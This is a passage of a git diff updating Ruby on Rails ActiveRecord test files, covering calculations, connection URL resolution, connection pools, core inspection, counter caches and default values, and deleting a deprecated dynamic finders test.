+        binds = [[@pk, 1]]
+        message = @listener.calls.find { |args| args[4][:binds] == binds }
+        assert message, 'expected a message with binds'
+      end
+
+      def test_logs_bind_vars
+        pk = Topic.columns.find { |x| x.primary }
+
+        payload = {
+          :name  => 'SQL',
+          :sql   => 'select * from topics where id = ?',
+          :binds => [[pk, 10]]
+        }
+        event  = ActiveSupport::Notifications::Event.new(
+          'foo',
+          Time.now,
+          Time.now,
+          123,
+          payload)
 
         logger = Class.new(ActiveRecord::LogSubscriber) {
           attr_reader :debugs
@@ -78,12 +88,7 @@ module ActiveRecord
 
         logger.sql event
         assert_match([[pk.name, 10]].inspect, logger.debugs.first)
-    end
-
-    private
-
-    def skip_if_prepared_statement_caching_is_not_supported
-      skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index b0b647c..b8de789 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -6,6 +6,7 @@ require 'models/edge'
 require 'models/organization'
 require 'models/possession'
 require 'models/topic'
+require 'models/reply'
 require 'models/minivan'
 require 'models/speedometer'
 require 'models/ship_part'
@@ -28,6 +29,10 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 53.0, value
   end
 
+  def test_should_resolve_aliased_attributes
+    assert_equal 318, Account.sum(:available_credit)
+  end
+
   def test_should_return_decimal_average_of_integer_field
     value = Account.average(:id)
     assert_equal 3.5, value
@@ -162,6 +167,15 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_no_match(/OFFSET/, queries.first)
   end
 
+  def test_count_on_invalid_columns_raises
+    e = assert_raises(ActiveRecord::StatementInvalid) {
+      Account.select("credit_limit, firm_name").count
+    }
+
+    assert_match %r{accounts}i, e.message
+    assert_match "credit_limit, firm_name", e.message
+  end
+
   def test_should_group_by_summed_field_having_condition
     c = Account.group(:firm_id).having('sum(credit_limit) > 50').sum(:credit_limit)
     assert_nil        c[1]
@@ -197,6 +211,10 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 19.83, NumericData.sum(:bank_balance)
   end
 
+  def test_should_return_type_casted_values_with_group_and_expression
+    assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
+  end
+
   def test_should_group_by_summed_field_with_conditions
     c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
     assert_nil        c[1]
@@ -260,7 +278,7 @@ class CalculationsTest < ActiveRecord::TestCase
     c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 4, c['CLIENT']
+    assert_equal 5, c['CLIENT']
     assert_equal 2, c['FIRM']
   end
 
@@ -268,7 +286,7 @@ class CalculationsTest < ActiveRecord::TestCase
     c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 4, c['CLIENT']
+    assert_equal 5, c['CLIENT']
     assert_equal 2, c['FIRM']
   end
 
@@ -337,21 +355,15 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 5, Account.count(:firm_id)
   end
 
-  def test_count_distinct_option_is_deprecated
-    assert_deprecated do
-      assert_equal 4, Account.select(:credit_limit).count(distinct: true)
-    end
-
-    assert_deprecated do
-      assert_equal 6, Account.select(:credit_limit).count(distinct: false)
-    end
-  end
-
   def test_count_with_distinct
     assert_equal 4, Account.select(:credit_limit).distinct.count
     assert_equal 4, Account.select(:credit_limit).uniq.count
   end
 
+  def test_count_with_aliased_attribute
+    assert_equal 6, Account.count(:available_credit)
+  end
+
   def test_count_with_column_and_options_parameter
     assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
   end
@@ -375,6 +387,20 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Account.count(1, 2, 3) }
   end
 
+  def test_count_with_order
+    assert_equal 6, Account.order(:credit_limit).count
+  end
+
+  def test_count_with_reverse_order
+    assert_equal 6, Account.order(:credit_limit).reverse_order.count
+  end
+
+  def test_count_with_where_and_order
+    assert_equal 1, Account.where(firm_name: '37signals').count
+    assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).count
+    assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count
+  end
+
   def test_should_sum_expression
     # Oracle adapter returns floating point value 636.0 after SUM
     if current_adapter?(:OracleAdapter)
@@ -402,12 +428,6 @@ class CalculationsTest < ActiveRecord::TestCase
         Account.where("credit_limit > 50").from('accounts').sum(:credit_limit)
   end
 
-  def test_sum_array_compatibility_deprecation
-    assert_deprecated do
-      assert_equal Account.sum(:credit_limit), Account.sum(&:credit_limit)
-    end
-  end
-
   def test_average_with_from_option
     assert_equal Account.average(:credit_limit), Account.from('accounts').average(:credit_limit)
     assert_equal Account.where("credit_limit > 50").average(:credit_limit),
@@ -460,14 +480,19 @@ class CalculationsTest < ActiveRecord::TestCase
   def test_distinct_is_honored_when_used_with_count_operation_after_group
     # Count the number of authors for approved topics
     approved_topics_count = Topic.group(:approved).count(:author_name)[true]
-    assert_equal approved_topics_count, 3
+    assert_equal approved_topics_count, 4
     # Count the number of distinct authors for approved Topics
     distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
-    assert_equal distinct_authors_for_approved_count, 2
+    assert_equal distinct_authors_for_approved_count, 3
   end
 
   def test_pluck
-    assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+    assert_equal [1,2,3,4,5], Topic.order(:id).pluck(:id)
+  end
+
+  def test_pluck_without_column_names
+    assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, ""]],
+      Company.order(:id).limit(1).pluck
   end
 
   def test_pluck_type_cast
@@ -488,13 +513,17 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal [contract.id], company.contracts.pluck(:id)
   end
 
+  def test_pluck_on_aliased_attribute
+    assert_equal 'The First Topic', Topic.order(:id).pluck(:heading).first
+  end
+
   def test_pluck_with_serialization
     t = Topic.create!(:content => { :foo => :bar })
     assert_equal [{:foo => :bar}], Topic.where(:id => t.id).pluck(:content)
   end
 
   def test_pluck_with_qualified_column_name
-    assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+    assert_equal [1,2,3,4,5], Topic.order(:id).pluck("topics.id")
   end
 
   def test_pluck_auto_table_name_prefix
@@ -527,6 +556,11 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal Company.all.map(&:id).sort, Company.ids.sort
   end
 
+  def test_pluck_with_includes_limit_and_empty_result
+    assert_equal [], Topic.includes(:replies).limit(0).pluck(:id)
+    assert_equal [], Topic.includes(:replies).limit(1).where('0 = 1').pluck(:id)
+  end
+
   def test_pluck_not_auto_table_name_prefix_if_column_included
     Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
     ids = Company.includes(:contracts).pluck(:developer_id)
@@ -537,11 +571,13 @@ class CalculationsTest < ActiveRecord::TestCase
   def test_pluck_multiple_columns
     assert_equal [
       [1, "The First Topic"], [2, "The Second Topic of the day"],
-      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+      [5, "The Fifth Topic of the day"]
     ], Topic.order(:id).pluck(:id, :title)
     assert_equal [
       [1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
-      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
+      [5, "The Fifth Topic of the day", "Jason"]
     ], Topic.order(:id).pluck(:id, :title, :author_name)
   end
 
@@ -567,7 +603,7 @@ class CalculationsTest < ActiveRecord::TestCase
 
   def test_pluck_replaces_select_clause
     taks_relation = Topic.select(:approved, :id).order(:id)
-    assert_equal [1,2,3,4], taks_relation.pluck(:id)
-    assert_equal [false, true, true, true], taks_relation.pluck(:approved)
+    assert_equal [1,2,3,4,5], taks_relation.pluck(:id)
+    assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
   end
 end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 187cad9..c8f56e3 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -43,7 +43,7 @@ class CallbackDeveloper < ActiveRecord::Base
 end
 
 class CallbackDeveloperWithFalseValidation < CallbackDeveloper
-  before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
+  before_validation proc { |model| model.history << [:before_validation, :returning_false]; false }
   before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
 end
 
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index dbb2f22..c7b64f2 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -82,7 +82,7 @@ module ActiveRecord
           assert_equal "", not_null_text_column.default
         end
 
-        def test_has_default_should_return_false_for_blog_and_test_data_types
+        def test_has_default_should_return_false_for_blob_and_text_data_types
           blob_column = MysqlAdapter::Column.new("title", nil, "blob")
           assert !blob_column.has_default?
 
@@ -116,7 +116,7 @@ module ActiveRecord
           assert_equal "", not_null_text_column.default
         end
 
-        def test_has_default_should_return_false_for_blog_and_test_data_types
+        def test_has_default_should_return_false_for_blob_and_text_data_types
           blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
           assert !blob_column.has_default?
 
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
index 3a4f414..2a6d8cc 100644
--- a/activerecord/test/cases/column_test.rb
+++ b/activerecord/test/cases/column_test.rb
@@ -110,6 +110,14 @@ module ActiveRecord
         assert_equal 1800, column.type_cast(30.minutes)
         assert_equal 7200, column.type_cast(2.hours)
       end
+
+      def test_string_to_time_with_timezone
+        [:utc, :local].each do |zone|
+          with_timezone_config default: zone do
+            assert_equal Time.utc(2013, 9, 4, 0, 0, 0), Column.string_to_time("Wed, 04 Sep 2013 03:00:00 EAT")
+          end
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index 3e33b30..b3df990 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -2,6 +2,199 @@ require "cases/helper"
 
 module ActiveRecord
   module ConnectionAdapters
+
+    class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+
+      def klass
+        ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig
+      end
+
+      def setup
+        @previous_database_url = ENV.delete("DATABASE_URL")
+      end
+
+      def teardown
+        ENV["DATABASE_URL"] = @previous_database_url
+      end
+
+      def resolve(spec, config)
+        ConnectionSpecification::Resolver.new(klass.new(config).resolve).resolve(spec)
+      end
+
+      def spec(spec, config)
+        ConnectionSpecification::Resolver.new(klass.new(config).resolve).spec(spec)
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve(:default_env, config)
+        expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_and_current_env_string_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "default_env" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = assert_deprecated { resolve("default_env", config) }
+        expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_known_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve(:production, config)
+        expected = { "adapter"=>"not_postgres", "database"=>"not_foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_unknown_symbol_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        assert_raises AdapterNotSpecified do
+          resolve(:production, config)
+        end
+      end
+
+      def test_resolver_with_database_uri_and_unknown_string_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        assert_deprecated do
+          assert_raises AdapterNotSpecified do
+            spec("production", config)
+          end
+        end
+      end
+
+      def test_resolver_with_database_uri_and_supplied_url
+        ENV['DATABASE_URL'] = "not-postgres://not-localhost/not_foo"
+        config   = { "production" => {  "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
+        actual   = resolve("postgres://localhost/foo", config)
+        expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_jdbc_url
+        config   = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
+        actual   = klass.new(config).resolve
+        assert_equal config, actual
+      end
+
+      def test_environment_does_not_exist_in_config_url_does_exist
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config      = { "not_default_env" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual      = klass.new(config).resolve
+        expect_prod = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expect_prod, actual["default_env"]
+      end
+
+      def test_url_with_hyphenated_scheme
+        ENV['DATABASE_URL'] = "ibm-db://localhost/foo"
+        config   = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve(:default_env, config)
+        expected = { "adapter"=>"ibm_db", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_string_connection
+        config   = { "default_env" => "postgres://localhost/foo" }
+        actual   = klass.new(config).resolve
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_url_sub_key
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = klass.new(config).resolve
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_hash
+        config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+        actual = klass.new(config).resolve
+        assert_equal config, actual
+      end
+
+      def test_blank
+        config = {}
+        actual = klass.new(config).resolve
+        assert_equal config, actual
+      end
+
+      def test_blank_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = klass.new(config).resolve
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+        assert_equal expected, actual["default_env"]
+        assert_equal nil,      actual["production"]
+        assert_equal nil,      actual["development"]
+        assert_equal nil,      actual["test"]
+        assert_equal nil,      actual[:production]
+        assert_equal nil,      actual[:development]
+        assert_equal nil,      actual[:test]
+      end
+
+      def test_url_sub_key_with_database_url
+        ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = klass.new(config).resolve
+        expected = { "default_env" =>
+                    { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_no_conflicts_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {"default_env" => { "pool" => "5" } }
+        actual   = klass.new(config).resolve
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_conflicts_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {"default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+        actual   = klass.new(config).resolve
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+    end
+
     class ConnectionHandlerTest < ActiveRecord::TestCase
       def setup
         @klass    = Class.new(Base)   { def self.name; 'klass';    end }
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index fe1b40d..77d9ae9 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -26,25 +26,27 @@ module ActiveRecord
         assert ActiveRecord::Base.connection_handler.active_connections?
       end
 
-      def test_connection_pool_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_connection_pool_per_pid
+          object_id = ActiveRecord::Base.connection.object_id
 
-        object_id = ActiveRecord::Base.connection.object_id
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
 
-        rd, wr = IO.pipe
+          pid = fork {
+            rd.close
+            wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+            wr.close
+            exit!
+          }
 
-        pid = fork {
-          rd.close
-          wr.write Marshal.dump ActiveRecord::Base.connection.object_id
           wr.close
-          exit!
-        }
-
-        wr.close
 
-        Process.waitpid pid
-        assert_not_equal object_id, Marshal.load(rd.read)
-        rd.close
+          Process.waitpid pid
+          assert_not_equal object_id, Marshal.load(rd.read)
+          rd.close
+        end
       end
 
       def test_app_delegation
@@ -80,9 +82,9 @@ module ActiveRecord
       end
 
       def test_connections_closed_if_exception
-        app       = Class.new(App) { def call(env); raise; end }.new
+        app       = Class.new(App) { def call(env); raise NotImplementedError; end }.new
         explosive = ConnectionManagement.new(app)
-        assert_raises(RuntimeError) { explosive.call(@env) }
+        assert_raises(NotImplementedError) { explosive.call(@env) }
         assert !ActiveRecord::Base.connection_handler.active_connections?
       end
 
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index e6af292..1cf2150 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -118,6 +118,7 @@ module ActiveRecord
         connection = cs.first
         @pool.remove connection
         assert_respond_to t.join.value, :execute
+        connection.close
       end
 
       def test_reap_and_active
@@ -141,7 +142,7 @@ module ActiveRecord
 
         connections = @pool.connections.dup
         connections.each do |conn|
-          conn.extend(Module.new { def active?; false; end; })
+          conn.extend(Module.new { def active_threadsafe?; false; end; })
         end
 
         @pool.reap
@@ -329,7 +330,7 @@ module ActiveRecord
       end
 
       # make sure exceptions are thrown when establish_connection
-      # is called with a anonymous class
+      # is called with an anonymous class
       def test_anonymous_class_exception
         anonymous = Class.new(ActiveRecord::Base)
         handler = ActiveRecord::Base.connection_handler
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index c8dfc32..a4fe870 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -4,59 +4,112 @@ module ActiveRecord
   module ConnectionAdapters
     class ConnectionSpecification
       class ResolverTest < ActiveRecord::TestCase
-        def resolve(spec)
-          Resolver.new(spec, {}).spec.config
+        def resolve(spec, config={})
+          Resolver.new(config).resolve(spec)
+        end
+
+        def spec(spec, config={})
+          Resolver.new(config).spec(spec)
         end
 
         def test_url_invalid_adapter
-          assert_raises(LoadError) do
-            resolve 'ridiculous://foo?encoding=utf8'
+          error = assert_raises(LoadError) do
+            spec 'ridiculous://foo?encoding=utf8'
           end
+
+          assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
         end
 
         # The abstract adapter is used simply to bypass the bit of code that
         # checks that the adapter file can be required in.
 
+        def test_url_from_environment
+          spec = resolve :production, 'production' => 'abstract://foo?encoding=utf8'
+          assert_equal({
+            "adapter"  =>  "abstract",
+            "host"     =>  "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_sub_key
+          spec = resolve :production, 'production' => {"url" => 'abstract://foo?encoding=utf8'}
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_sub_key_merges_correctly
+          hash = {"url" => 'abstract://foo?encoding=utf8&', "adapter" => "sqlite3", "host" => "bar", "pool" => "3"}
+          spec = resolve :production, 'production' => hash
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8",
+            "pool"     => "3" }, spec)
+        end
+
         def test_url_host_no_db
           spec = resolve 'abstract://foo?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_url_host_db
           spec = resolve 'abstract://foo/bar?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            database: "bar",
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "database" => "bar",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_url_port
           spec = resolve 'abstract://foo:123?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            port:     123,
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "port"     => 123,
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_encoded_password
           password = 'am at z1ng_p@ssw0rd#!'
           encoded_password = URI.encode_www_form_component(password)
           spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
-          assert_equal password, spec[:password]
+          assert_equal password, spec["password"]
         end
 
-        def test_descriptive_error_message_when_adapter_is_missing
-          error = assert_raise(LoadError) do
-            resolve(adapter: 'non-existing')
-          end
+        def test_url_with_authority_for_sqlite3
+          spec = assert_deprecated { resolve 'sqlite3:///foo_test' }
+          assert_equal('foo_test', spec["database"])
+        end
 
-          assert_match "Could not load 'active_record/connection_adapters/non-existing_adapter'", error.message
+        def test_url_absolute_path_for_sqlite3
+          spec = resolve 'sqlite3:/foo_test'
+          assert_equal('/foo_test', spec["database"])
         end
+
+        def test_url_relative_path_for_sqlite3
+          spec = resolve 'sqlite3:foo_test'
+          assert_equal('foo_test', spec["database"])
+        end
+
+        def test_url_memory_db_for_sqlite3
+          spec = resolve 'sqlite3::memory:'
+          assert_equal(':memory:', spec["database"])
+        end
+
+        def test_url_sub_key_for_sqlite3
+          spec = resolve :production, 'production' => {"url" => 'sqlite3:foo?encoding=utf8'}
+          assert_equal({
+            "adapter"  => "sqlite3",
+            "database" => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
       end
     end
   end
diff --git a/activerecord/test/cases/core_test.rb b/activerecord/test/cases/core_test.rb
new file mode 100644
index 0000000..2a52bf5
--- /dev/null
+++ b/activerecord/test/cases/core_test.rb
@@ -0,0 +1,33 @@
+require 'cases/helper'
+require 'models/person'
+require 'models/topic'
+
+class NonExistentTable < ActiveRecord::Base; end
+
+class CoreTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  def test_inspect_class
+    assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
+    assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
+    assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
+  end
+
+  def test_inspect_instance
+    topic = topics(:first)
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david at loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.u [...]
+  end
+
+  def test_inspect_new_instance
+    assert_match(/Topic id: nil/, Topic.new.inspect)
+  end
+
+  def test_inspect_limited_select_instance
+    assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
+  end
+
+  def test_inspect_class_without_table
+    assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
+  end
+end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index ac09325..ee3d8a8 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -51,6 +51,13 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
+  test 'reset multiple counters' do
+    Topic.update_counters @topic.id, replies_count: 1, unique_replies_count: 1
+    assert_difference ['@topic.reload.replies_count', '@topic.reload.unique_replies_count'], -1 do
+      Topic.reset_counters(@topic.id, :replies, :unique_replies)
+    end
+  end
+
   test "reset counters with string argument" do
     Topic.increment_counter('replies_count', @topic.id)
 
@@ -115,6 +122,12 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
+  test 'update multiple counters' do
+    assert_difference ['@topic.reload.replies_count', '@topic.reload.unique_replies_count'], 2 do
+      Topic.update_counters @topic.id, replies_count: 2, unique_replies_count: 2
+    end
+  end
+
   test "update other counters on parent destroy" do
     david, joanna = dog_lovers(:david, :joanna)
     joanna = joanna # squelch a warning
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
index 427076b..c0491bb 100644
--- a/activerecord/test/cases/date_time_test.rb
+++ b/activerecord/test/cases/date_time_test.rb
@@ -5,7 +5,7 @@ require 'models/task'
 class DateTimeTest < ActiveRecord::TestCase
   def test_saves_both_date_and_time
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         time_values = [1807, 2, 10, 15, 30, 45]
         # create DateTime value with local time zone offset
         local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index e0cf4ad..7e3d91e 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -39,6 +39,31 @@ class DefaultTest < ActiveRecord::TestCase
   end
 end
 
+class DefaultStringsTest < ActiveRecord::TestCase
+  class DefaultString < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :default_strings do |t|
+      t.string :string_col, default: "Smith"
+      t.string :string_col_with_quotes, default: "O'Connor"
+    end
+    DefaultString.reset_column_information
+  end
+
+  def test_default_strings
+    assert_equal "Smith", DefaultString.new.string_col
+  end
+
+  def test_default_strings_containing_single_quotes
+    assert_equal "O'Connor", DefaultString.new.string_col_with_quotes
+  end
+
+  teardown do
+    @connection.drop_table :default_strings
+  end
+end
+
 if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
   class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
     # ActiveRecord::Base#create! (and #save and other related methods) will
diff --git a/activerecord/test/cases/deprecated_dynamic_methods_test.rb b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
deleted file mode 100644
index 8e842d8..0000000
--- a/activerecord/test/cases/deprecated_dynamic_methods_test.rb
+++ /dev/null
@@ -1,592 +0,0 @@
-# This file should be deleted when activerecord-deprecated_finders is removed as
-# a dependency.
-#
-# It is kept for now as there is some fairly nuanced behavior in the dynamic
-# finders so it is useful to keep this around to guard against regressions if
-# we need to change the code.
-
-require 'cases/helper'
-require 'models/topic'
-require 'models/reply'
-require 'models/customer'
-require 'models/post'
-require 'models/company'
-require 'models/author'
-require 'models/category'
-require 'models/comment'
-require 'models/person'
-require 'models/reader'
-
-class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
-  fixtures :topics, :customers, :companies, :accounts, :posts, :categories, :categories_posts, :authors, :people, :comments, :readers
-
-  def setup
-    @deprecation_behavior = ActiveSupport::Deprecation.behavior
-    ActiveSupport::Deprecation.behavior = :silence
-  end
-
-  def teardown
-    ActiveSupport::Deprecation.behavior = @deprecation_behavior
-  end
-
-  def test_find_all_by_one_attribute
-    topics = Topic.find_all_by_content("Have a nice day")
-    assert_equal 2, topics.size
-    assert topics.include?(topics(:first))
-
-    assert_equal [], Topic.find_all_by_title("The First Topic!!")
-  end
-
-  def test_find_all_by_one_attribute_which_is_a_symbol
-    topics = Topic.find_all_by_content("Have a nice day".to_sym)
-    assert_equal 2, topics.size
-    assert topics.include?(topics(:first))
-
-    assert_equal [], Topic.find_all_by_title("The First Topic!!")
-  end
-
-  def test_find_all_by_one_attribute_that_is_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance(balance)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_that_are_both_aggregates
-    balance = customers(:david).balance
-    address = customers(:david).address
-    assert_kind_of Money, balance
-    assert_kind_of Address, address
-    found_customers = Customer.find_all_by_balance_and_address(balance, address)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_with_one_being_an_aggregate
-    balance = customers(:david).balance
